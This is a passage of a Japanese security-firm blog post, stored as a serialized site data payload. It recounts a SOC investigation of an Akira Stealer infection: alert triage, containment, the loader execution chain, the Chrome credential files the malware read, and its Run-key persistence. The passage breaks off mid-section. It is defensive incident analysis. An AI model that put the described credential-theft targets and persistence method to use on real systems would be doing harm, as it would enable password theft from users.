[{"data":1,"prerenderedAt":13647},["ShallowReactive",2],{"sc:header-data-ja":3,"sc:footer-data-ja":489,"post-ja--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13061,"content-ja-list-7b291c2dd91a4":13415,"authors_data:Pascal Asch":13644},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ja":13},{"title":14,"url":15,"alt":16},"ホーム","/ja","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ja":21},{"title":22,"description":23},"Workplace","Microsoft 365を基盤に、スマートで安全な、柔軟性の高いワークプレイスを実現します。最新のテクノロジーとアイデンティティサービスが一つにつながります。",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ja":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ja":34},{"title":35,"url":36},"Managed Intune","/ja/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ja":40},{"title":41,"url":42},"Managed Entra","/ja/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ja":46},{"title":47,"url":48},"Managed Workplace","/ja/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ja":52},{"title":53,"url":54},"Consulting Services","/ja/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ja":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ja":64},{"title":65,"url":66},"Microsoft Entra Suite","/ja/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ja":70},{"title":71,"url":72},"Microsoft Intune","/ja/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ja":76},{"title":77,"url":78},"Microsoft Windows","/ja/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ja":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ja/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ja":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ja/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ja":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ja":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ja/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ja":106},{"title":107,"url":108},"Teams","/ja/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ja":112},{"title":113,"url":114},"SharePoint & Power Platform","/ja/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ja":118},{"title":119,"url":120},"Exchange Online","/ja/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ja":124},{"title":125,"url":126},"Information Protection & Compliance","/ja/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ja":130},{"title":131,"description":132},"Azure","Azureで成長を後押しします。IaaSとPaaSによって、クラウドのコストを下げ、効率を高め、イノベーションを進めます。",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ja":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ja":142},{"title":143,"url":144},"Azure Managed Services","/ja/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ja":148},{"title":149,"url":150},"Azure Consulting","/ja/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ja":154},{"title":155},"シナリオ",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ja":160},{"title":161,"url":162},"クラウドを計画する","/ja/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ja":166},{"title":167,"url":168},"クラウドへ移行する","/ja/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ja":172},{"title":173,"url":174},"ビジネスを刷新する","/ja/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ja":178},{"title":179,"url":180},"VMware戦略を立て直す","/ja/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ja":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ja":190},{"title":191,"url":192},"Azure Foundation","/ja/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ja":196},{"title":197,"url":198},"Azure AI Foundation","/ja/azure/azure-ai-foundation",{"name":86,"languages":200},{"ja":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ja":205},{"title":206,"url":207},"Azure Data Foundation","/ja/azure/azure-data-foundation",{"name":188,"languages":209},{"ja":210},{"title":211,"url":212},"Azure Container Foundation","/ja/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ja":216},{"title":217,"url":218},"Managed Dark Tenant","/ja/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ja":222},{"title":223,"url":224},"Cloud Adoption Framework","/ja/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ja":228},{"title":229,"url":230},"Cloud Competence Center","/ja/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ja":234},{"title":235,"description":236,"emergency":237},"Security","受賞歴のある24時間365日のManaged Service、インシデント対応、最新水準の保護で、クラウドの安全を見守り、インフラを守ります。",{"text":238,"href":239,"skin":240,"icon":241},"サイバー攻撃の渦中ですか？","/ja/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ja":249},{"title":250,"url":251},"Managed Red Tenant","/ja/security/managed-red-tenant",{"name":214,"languages":253},{"ja":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ja":259},{"title":260,"url":261},"Sentinel Data Lake","/ja/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ja":265},{"title":266,"url":267},"Security Consulting","/ja/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ja":274},{"title":275,"url":276},"Cloud Security Operations Center","/ja/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ja":280},{"title":281,"url":282},"Global Secure Access","/ja/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ja":286},{"title":287,"url":288},"MyWorkID","/ja/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ja":295},{"title":296,"url":297},"Preventive Services","/ja/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ja":301},{"title":302,"url":303},"Data Security Service","/ja/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ja":307},{"title":308,"url":309},"Security Copilot Agents","/ja/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ja":313},{"title":314,"url":315},"NIS2を技術で実装する","/ja/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ja":319},{"title":320,"description":321},"製品","完全に安全で100%クラウドネイティブなMicrosoft環境のためのCompanion製品です。協働、ネットワーク認証、ソフトウェア管理を強化します。",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ja":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","クラウドベースのソフトウェア配布",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ja":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","クラウドからの証明書配布",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ja":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365のデータをローカルで利用",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ja":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","サーバー間のデータ移行",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ja":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365向けのTerraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ja":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","ネットワークの認証",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ja":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teamsで連絡先を探す",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ja":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilotのリアルタイム監視",{"name":396,"languages":397},"casestudies",{"ja":398},{"title":399,"url":400,"description":401},"導入事例","/ja/casestudies","当社はクラウドの先駆者として、包括的なクラウドソリューションを提供するMicrosoftのトップパートナーです。ブループリントに基づくアプローチとInfrastructure as Codeの知見が土台にあります。",{"name":403,"languages":404,"children":407},"company",{"ja":405},{"title":406,"description":401},"会社",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ja":411},{"title":412},"会社概要",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ja":417},{"title":418,"url":419},"Facts & Figures","/ja/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ja":423},{"title":424,"url":425},"お問い合わせと拠点","/ja/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ja":429},{"title":430,"url":431},"スイスのglueckkanja","/ja/company/switzerland",{"name":433,"languages":434},"austria",{"ja":435},{"title":436,"url":437},"オーストリアのglueckkanja","/ja/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ja":441},{"title":442},"キャリア",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ja":447},{"title":448,"url":449},"採用情報","/ja/career",{"name":451,"languages":452},"company-young-professionals",{"ja":453},{"title":454,"url":455},"Young Professionals","/ja/young-professionals",{"name":457,"languages":458},"company-jobs",{"ja":459},{"title":460,"url":461},"募集職種","/ja/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ja":465},{"title":466},"最新情報",[468,474],{"name":469,"languages":470},"company-blog",{"ja":471},{"title":472,"url":473},"ブログ","/ja/blog",{"name":469,"languages":475},{"ja":476},{"title":477,"url":478},"イベント","/ja/events",[480],{"name":481,"languages":482},"career-meta",{"ja":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ja":487},{"title":488,"url":425,"active":484},"お問い合わせ",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksJa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"プライバシーポリシー","/ja/privacy",{"title":514,"url":515},"運営者情報","/ja/imprint",{"title":517,"url":518},"Cookieなし","/ja/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":534,"eventid":494,"extension":12934,"hideInRecent":484,"layout":12935,"meta":12936,"moment":12940,"navigation":325,"path":13052,"seo":13053,"stem":13054,"tags":13055,"webcast":484,"__hash__":13060},"content_ja/posts/2025-06-16-quiet-breach.md","Akira Stealerの内側: モジュール型スティーラーの完全な技術分析",[523],"Pascal Asch",{"type":525,"value":526,"toc":12789},"minimal",[527,531,535,543,546,566,569,587,597,600,603,627,635,645,652,655,658,673,680,683,686,700,704,706,713,718,721,724,736,745,752,755,761,764,768,770,776,782,785,789,791,794,820,826,832,836,838,841,845,847,850,852,858,861,866,869,880,883,886,907,910,917,924,926,932,935,941,944,979,982,991,997,1006,1009,1021,1024,1031,1033,1041,1051,1083,1089,1094,1115,1121,1124,1127,1132,1141,1148,1150,1153,1165,1168,1202,1208,1234,1243,1246,1251,1260,1262,1271,1277,1295,1298,1303,1337,1341,1344,1347,1353,1367,1373,1379,1381,1386,1390,1392,1472,1475,1479,1481,1486,1492,1497,1506,1511,1516,1527,1530,1535,1543,1549,1552,1556,1558,1570,1575,1593,1599,1608,1619,1626,1631,1635,1637,1643,1669,1672,1686,1689,1698,1701,1705,1707,1714,1717,1720,1733,1743,1750,1771,1774,1780,1784,1786,1789,1798,1809,1834,1841,1847,1850,1857,1860,1871,1878,1880,1887,1891,1893,1899,1998,2005,2013,2015,2018,2041,2044,2074,2077,2122,2125,2134,2137,2155,2161,2164,2173,2176,2188,2195,2199,2201,2208,2230,2237,2271,2274,2289,2296,2301,2312,2315,2319,2321,2324,2339,2346,2357,2366,2403,2410,2413,2417,2419,2425,2430,2470,2473,2488,2491,2500,2506,2509,2513,2515,2518,2527,2530,2575,2581,2585,2587,2592,2597,2625,2632,2634,2650,2654,2656,2659,2698,2704,2710,2714,2716,2734,2744,2751,2788,2795,2841,2849,2853,2855,2858,2887,2896,2903,2905,2910,2914,2916,2922,2926,2928,2935,2961,2968,3228,3231,3236,3239,3272,3278,3282,3284,3287,3291,3293,3296,3398,3401,3405,3407,3410,3573,3576,3599,3603,3605,3613,3856,3859,3887,3891,3893,3926,3929,3932,3965,3969,3971,3977,3982,3985,4003,4006,4014,4019,4022,4102,4110,4113,4119,4127,4131,4133,4139,4144,4147,4164,4171,4176,4183,4245,4257,4262,4268,4295,4298,4336,4339,4344,4347,4361,4365,4367,4372,4394,4401,4408,4410,4414,4416,4422,4426,4428,4432,4434,4439,4466,4472,4476,4478,4484,4501,4525,4532,4536,4538,4541,4550,4564,4567,4571,4573,4586,4589,4598,4604,4611,4613,4617,4619,4629,4633,4635,4640,4654,4667,4671,4673,4753,4756,4763,4765,4770,4828,4835,4960,4963,5108,5112,5114,5117,5171,5174,5178,5180,5186,5239,5242,5246,5248,5251,5303,5306,5310,5312,5319,5371,5374,5378,5380,5387,5428,5431,5435,5437,5444,5526,5529,5533,5535,5538,5585,5588,5593,5596,5599,5603,5605,5610,5616,5621,5627,5632,5638,5643,5649,5654,6055,6059,6061,6101,6105,6107,6115,6119,6121,6131,6136,6161,6182,6187,6274,6278,6280,6374,6377,6383,6390,6392,6395,6450,6509,6516,6518,6521,6556,6591,6598,6600,6603,6636,6672,6679,6681,6684,6753,6798,6805,6807,6810,6838,6867,6874,6876,6879,6907,6929,6938,6940,6943,6968,7005,7009,7011,7044,7048,7050,7053,7056,7059,7062,7065,7070,7095,7100,7130,7137,7146,7168,7377,7381,7383,7390,7488,7491,7495,7497,7504,7597,7607,7613,7616,7621,7627,7655,7660,7690,7743,7762,7765,7770,7818,7822,7824,7827,7831,7833,7839,7959,7979,7983,7985,7990,8064,8085,8089,8091,8094,8097,8100,8103,8202,8210,8214,8216,8221,8256,8278,8282,8284,8287,8290,8298,8301,8389,8403,8407,8409,8412,8415,8508,8514,8516,8522,8526,8528,8531,8596,8614,8617,8651,8654,8658,8660,8665,8679,8724,8750,8755,8768,8844,8899,8903,8905,8908,8914,8954,8964,8970,8980,8984,8986,8989,9018,9045,9051,9055,9057,9064,9071,9073,9079,9134,9160,9164,9166,9169,9234,9241,9280,9284,9286,9292,9307,9310,9346,9350,9352,9359,9403,9417,9423,9430,9432,9435,9439,9441,9444,9478,9481,9506,9510,9512,9517,9520,9544,9568,9572,9574,9577,9601,9605,9607,9610,9630,9634,9636,9639,9646,9759,9764,9809,9813,9815,9822,9856,9910,9915,9918,9922,9924,9927,9931,9933,9936,9942,9946,9948,9951,10006,10021,10025,10027,10038,10107,10116,10121,10124,10168,10170,10174,10176,10179,10270,10275,10404,10408,10410,10413,10418,10491,10509,10514,10534,10542,10547,10553,10568,10585,10591,10649,10670,10675,10692,10697,10741,10755,10758,10762,10764,10769,10773,10775,10782,10789,10793,10795,10902,10909,10913,10915,10922,10927,11008,11015,11022,11026,11028,11031,11061,11068,11072,11074,11078,11080,11087,11090,11093,11096,11241,11244,11248,11250,11253,11257,11259,11262,11298,11304,11308,11310,11313,11339,11342,11348,11352,11354,11360,11377,11383,11387,11389,11393,11395,11411,11435,11442,11458,11478,11481,11484,11486,11496,11500,11502,11936,11939,11943,11945,11951,11954,11957,11964,11967,11978,11984,11987,11992,11996,11998,12001,12006,12020,12024,12026,12323,12326,12330,12332,12444,12447,12451,12453,12507,12510,12514,12516,12679,12682,12686,12688,12729,12732,12736,12738,12741,12744,12747,12750,12753,12756,12761,12765,12767,12770,12773,12776,12779,12782,12785],[528,529,530],"h1",{"id":530},"プロローグ",[532,533,534],"p",{},"{: .h3-font-size}",[532,536,537,538,542],{},"現代の多くの攻撃と同じように、それは静かに始まりました。信頼度の低いDefenderアラート ",[539,540,541],"strong",{},"「疑わしい探索活動のシーケンス（Suspicious sequence of exploration activities）」"," が、新規のお客様を当社のglueckkanja Cyber Security Operations Center（CSOC）へオンボーディングしている最中に浮上したのです。",[532,544,545],{},"シグネチャの検出はありませんでした。マルウェアの分類もありませんでした。リアルタイム保護の反応もありませんでした。あったのは、Microsoft 365 Defenderのノイズに埋もれた1件の振る舞い相関だけです。それでも、明らかに何かがおかしいものでした。",[532,547,548,549,553,554,557,558,561,562,565],{},"このアラートをトリアージしている最中、ある特定の動作が目に留まりました。",[550,551,552],"code",{},"python.exe"," がChromiumプロファイル内の ",[550,555,556],{},"Login Data"," と ",[550,559,560],{},"Web Data"," の両ファイルにアクセスしていたのです。Microsoft Defenderはこれを即座に重大度の高いインシデントへと格上げしました。",[539,563,564],{},"「パスワードおよびその他の機微なWebブラウザー情報の窃取の可能性（Possible theft of passwords and other sensitive web browser information）」"," です。",[532,567,568],{},"これは誤検知ではありませんでした。もっと深いところにあるものの、ほんの先端でした。",[532,570,571,572,575,576,579,580,582,583,586],{},"テレメトリを逆方向にたどると、スタートアップに配置されたありふれたバイナリ ",[550,573,574],{},"Updater.exe"," が見つかりました。これはNodeJSベースのラッパー（",[550,577,578],{},"main.exe","）を起動し、そのラッパーが ",[550,581,552],{}," 経由で ",[550,584,585],{},"astor.py"," というスクリプトを実行するコマンドラインを走らせていました。",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[550,596,592],{"__ignoreMap":594},[532,598,599],{},"このスクリプトは認証情報をかき集めるだけではありませんでした。レジストリの照会、システムのフィンガープリンティング、権限を考慮した列挙など、侵害後の偵察ステップを順に実行していたのです。検出を回避するためにOS本来の動作を模倣し、外科手術のような精度で動作していました。そして、それはほぼ成功しかけていました。",[532,601,602],{},"初動対応の時点では、状況は次のとおりでした。",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[550,610,574],{}," はVirusTotal上で ",[539,613,614],{},"69個中1個"," のエンジンでしか検出されていませんでした。",[607,617,618,620,621,623],{},[550,619,578],{},"、",[550,622,585],{},"、および関連するすべてのコンポーネントは、VirusTotalでほとんど検出されていませんでした。",[607,625,626],{},"署名されたファイルはありませんでした。昇格されたコンテキストもありませんでした。あったのは、きわめて普通でないことをしている「普通の」プロセスだけです。",[532,628,629,631,632,634],{},[550,630,574],{}," は認証情報に触れていませんでした。その役割はメモリ上で動作するPythonペイロード ",[550,633,585],{}," に委ねられており、このファイルは設計上ほとんど痕跡を残しませんでした。",[532,636,637,640,641,644],{},[539,638,639],{},"21分"," 以内に、該当システムをネットワークから隔離しました。",[539,642,643],{},"70分"," 以内には、影響範囲のすべてで認証情報をローテーションしました。内部IDも、SaaSプラットフォームも、サードパーティサービスも含みます。",[532,646,647,648,651],{},"しかし本当の転換点は、Pythonペイロードを抽出して完全に復号したときに訪れました。見つかったのは汎用のスティーラーではなく、Telegram経由で商用配布されているマルウェアファミリー ",[539,649,650],{},"Akira Stealer v2"," のカスタム配備版でした。",[532,653,654],{},"当社の内製の脅威インテリジェンスとリバースエンジニアリングの能力により、マルウェアの機能全体を再構築し、埋め込まれたすべての指標を抽出し、そのステージング、データ持ち出し、認証情報の標的化ロジックを詳細に把握できました。",[532,656,657],{},"さらに重要なのは、当社が技術的な帰属分析で止まらなかったことです。当社はその先へ進みました。",[532,659,660,661,664,665,668,669,672],{},"お客様に対して、",[539,662,663],{},"持ち出された認証情報の完全なデータセット"," を提供できました。クラウドサービス、CRMシステム、社内プラットフォーム、さらには主要な従業員が使っていた個人用ツールへのアクセス情報を含め、",[539,666,667],{},"100件を超える一意のユーザー名とパスワードの組み合わせ"," です。この窃取は ",[539,670,671],{},"数か月間"," 続いていましたが、当社はそのすべてを説明できました。",[532,674,675,676,679],{},"この事案から得た知見をもとに、影響を受けたシステムをスキャンし、認証情報へのアクセスパターンを再構築し、詳細なフォレンジックレポートを生成する ",[539,677,678],{},"感染後分析ツール"," を構築しました。何が、いつ、どこから盗まれたのかを正確にマッピングします。",[532,681,682],{},"このスキャナーについては、本レポートの最後で少しご紹介します。",[532,684,685],{},"これは単なる1件のインシデントではないからです。\nこれが当社の調査のしかたです。これが当社の守りかたです。",[532,687,688,696,699],{},[539,689,690,695],{},[691,692,694],"a",{"href":693},"/ja/security/cloud-security-operations-center/","glueckkanja CSOC","へようこそ。",[697,698],"br",{},"\nこれが当社の働きかたです。侵害は待ってくれないからです。",[528,701,703],{"id":702},"_1-初期イベントとトリアージの概要","1. 初期イベントとトリアージの概要",[532,705,534],{},[532,707,708,709,712],{},"2025年3月31日、Microsoft Defender for EndpointがWindows 10 64ビットのエンドポイント上で ",[539,710,711],{},"「疑わしい探索活動のシーケンス」"," というラベルのアラートを生成しました。私はこのシグナルを起点にトリアージを開始し、プロセスツリー、システムタイムライン、そしてDefenderが相関付けた証拠を使って対象システムを確認しました。",[714,715,717],"h2",{"id":716},"_11-タイムラインに基づくトリアージ","1.1 タイムラインに基づくトリアージ",[532,719,720],{},"{: .h4-font-size}",[532,722,723],{},"このアラートは、さらに詳しく調べる必要のあるプロセスの連なりを指し示していました。初期レビューの段階で、ローカルユーザープロファイル内のChromeブラウザーデータに対して次のアクセスパターンを確認しました。",[604,725,726,731],{},[607,727,728],{},[550,729,730],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,732,733],{},[550,734,735],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[532,737,738,739,741,742,744],{},"これらのアクセスは ",[550,740,574],{}," というプロセスから開始されていました。Microsoft Defenderはヒューリスティック分析や振る舞い分析ではこのバイナリを検出していませんでしたが、VirusTotalでは ",[550,743,574],{}," に対する検出が見つかりました。当時、フラグを立てていたのは1エンジンのみでした。",[532,746,747],{},[748,749],"img",{"alt":750,"src":751},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[532,753,754],{},"観測された実行チェーンの全体は次のとおりです。",[588,756,759],{"className":757,"code":758,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[550,760,758],{"__ignoreMap":594},[532,762,763],{},"この段階では、関与するファイルに対する踏み込んだ静的解析も動的解析も行っていませんでした。私の関心は、高レベルの振る舞いと文脈を理解することにありました。プロセス名とファイルパスはありふれたもので、連鎖するPython実行以外に不審なコマンドライン引数はありませんでした。",[714,765,767],{"id":766},"_12-初動対応","1.2 初動対応",[532,769,720],{},[532,771,772,773,775],{},"最初のアラートから ",[539,774,639],{}," 以内に、Defender for Endpointの隔離機能を使ってホストの隔離を開始しました。目的は、これ以上の拡散やデータ持ち出しを防ぐことです。",[532,777,778,779,781],{},"最初の ",[539,780,643],{}," の間に、該当ホストで使用されていたことが分かっている認証情報のローテーションを進めました。対象は社内システム、SaaSプラットフォーム、および重要なサードパーティベンダーです。",[532,783,784],{},"リバースエンジニアリングのプロセスは、最初の封じ込めの後に始まりました。以降のセクションでは、この侵害を調査するために行った技術的なディープダイブを記録します。",[714,786,788],{"id":787},"_13-対応の概要-迅速透明成果重視","1.3 対応の概要 – 迅速、透明、成果重視",[532,790,720],{},[532,792,793],{},"当社の対応は、スピード、専門性、オペレーションの質を組み合わせたものでした。実証済みのワークフローと、お客様に対する完全な可視性がその裏付けになっています。",[604,795,796,802,808,814],{},[607,797,798,801],{},[539,799,800],{},"検知から完全封じ込めまで90分未満","\nDefenderのアラート、ネットワーク隔離、ウイルス対策スキャン、認証情報の失効を、迅速かつ連携して実行しました。",[607,803,804,807],{},[539,805,806],{},"48時間以内のディープダイブ・フォレンジック対応","\nディスクとメモリの完全分析、ブラウザーアーティファクトのレビュー、認証情報ダンプの検出、攻撃者の活動の振る舞い再構築を含みます。",[607,809,810,813],{},[539,811,812],{},"安全なデータ復旧と証拠の取り扱い","\n盗まれたデータ（Cookie、パスワード、トークン、ブラウザープロファイルなど）を復旧し、フォレンジック的に保全して、お客様へ安全に引き渡しました。",[607,815,816,819],{},[539,817,818],{},"エンドツーエンドの可視性とコミュニケーション","\n最初のアラートから修復とデブリーフィングまで、すべてのステップを完全に文書化し、リアルタイムで共有し、構造化されたCSIRTハンドオーバーとしてまとめました。",[821,822,823],"blockquote",{},[532,824,825],{},"このインシデントは、glueckkanja CSOCがマルウェアを止めるだけで終わらないことを示しています。当社はその影響を解体し、お客様に制御を取り戻し、あらゆるインシデントをインサイトへと変えます。",[827,828],"div",{"className":829},[830,831],"space-top-1","space-bottom-1",[528,833,835],{"id":834},"_2-マルウェアのアーキテクチャと実行チェーンの概要","2. マルウェアのアーキテクチャと実行チェーンの概要",[532,837,534],{},[532,839,840],{},"該当エンドポイントで観測されたマルウェアは、責務が明確に分離された多段構成のアーキテクチャに従っていました。配備、デコード、実行、そしてデータ持ち出しです。",[714,842,844],{"id":843},"_21-実行チェーンの概要","2.1 実行チェーンの概要",[532,846,720],{},[532,848,849],{},"観測された実行フローは次のとおりです。",[532,851,574],{},[588,853,856],{"className":854,"code":855,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[550,857,855],{"__ignoreMap":594},[532,859,860],{},"チェーン内の各コンポーネントは、ステルス性、モジュール性、回避性に寄与していました。このアーキテクチャは、正規のランタイムと標準のOSインタープリターを利用して検出メカニズムを迂回していました。",[862,863,865],"h3",{"id":864},"_211-起点の不確実性-初期侵入経路の欠落","2.1.1 起点の不確実性: 初期侵入経路の欠落",[532,867,868],{},"{: .font-size-4}",[532,870,871,872,875,876,879],{},"侵害後の環境を広範囲に分析したにもかかわらず、初期侵入経路を確定することはできませんでした。この不確実性は主に、マルウェアが ",[539,873,874],{},"検知までの推定6か月間"," 活動し続けていたことに起因します。これは ",[539,877,878],{},"Microsoft Defender for Endpointが強制するログ保持期間"," を超えていました。",[532,881,882],{},"その結果、最初に感染した時点のテレメトリやフォレンジックアーティファクトは一切得られませんでした。配布段階に関連する初期のプロセス生成イベント、ファイルのドロップ、コマンドラインの記録は、Defenderのタイムラインからも関連センサーからも復元できませんでした。",[532,884,885],{},"文脈上の指標とOSINTの情報源から、感染経路としては次のものが考えられます。",[604,887,888,894,901],{},[607,889,890,891],{},"クラックまたは改造されたゲームソフトウェアの ",[539,892,893],{},"トロイの木馬化されたインストーラー",[607,895,896,897,900],{},"フォーラムやサードパーティサイトで配布される ",[539,898,899],{},"偽のユーティリティ"," や「パフォーマンスブースター」",[607,902,903,904],{},"特定のユーザーの関心（暗号資産関連ツールやDiscordの拡張機能など）を狙った ",[539,905,906],{},"悪意のあるブラウザー拡張機能",[532,908,909],{},"ただし、これらはいずれも推測の域を出ません。",[532,911,912,913,916],{},"調査中に、確定的なドロッパー、フィッシングメール、侵害されたWebサイトを特定することはできませんでした。マルウェアのアーキテクチャと実行チェーンは完全に再構築できたものの、",[539,914,915],{},"最初の侵害点（MITRE ATT&CK T1190 / T1566）"," は検証できませんでした。",[862,918,920,921,923],{"id":919},"_212-updaterexe-初期ローダー","2.1.2 ",[550,922,574],{}," – 初期ローダー",[532,925,868],{},[532,927,928,929,931],{},"Microsoft 365 Defenderでプロセスツリーを確認したとき、",[550,930,574],{}," はすぐに目を引きました。それが何をしたかではなく、どれほど静かにシステムの実行フローへ自らを組み込んでいたかが理由です。",[532,933,934],{},"このバイナリは、標準のWindows Runキーを介して自動実行に登録されていました。",[588,936,939],{"className":937,"code":938,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[550,940,938],{"__ignoreMap":594},[532,942,943],{},"つまり、ユーザーがセッションにログオンするたびに起動されるということです。管理者権限を必要とせず、EDRのテレメトリでも見過ごされがちな、古典的な永続化メカニズムです。",[604,945,946,952,958,964,970],{},[607,947,948,951],{},[539,949,950],{},"ファイル種別",": Windows PE実行ファイル（32ビット）",[607,953,954,957],{},[539,955,956],{},"署名",": なし",[607,959,960,963],{},[539,961,962],{},"VirusTotalの検出",": トリアージ時点で69個中1個のエンジン",[607,965,966,969],{},[539,967,968],{},"実行コンテキスト",": 